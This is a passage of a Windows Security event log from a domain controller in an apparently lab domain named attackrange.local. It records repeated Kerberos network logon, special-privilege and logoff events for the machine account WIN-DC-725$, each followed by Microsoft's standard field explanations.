-RecordNumber=249037 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD05E8 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249036 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xD05E8 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64115 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249035 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD05E8 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249034 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD056D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249033 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xD056D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64114 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249032 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD056D - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249055 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD1BAC - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249054 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xD1BAC - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64121 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249053 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD1BAC - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249052 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD1B4B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249051 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xD1B4B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64120 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249050 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD1B4B - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249049 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD1AE5 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249048 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xD1AE5 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64119 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249047 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD1AE5 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249046 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD1A84 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249045 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xD1A84 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64118 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249044 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD1A84 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249067 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD1D3D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249066 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xD1D3D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64125 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249065 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD1D3D - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249064 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD1CDC - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249063 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xD1CDC - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64124 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249062 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD1CDC - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249061 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD1C76 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249060 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xD1C76 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64123 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249059 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD1C76 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249058 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD1C15 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249057 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xD1C15 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64122 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields 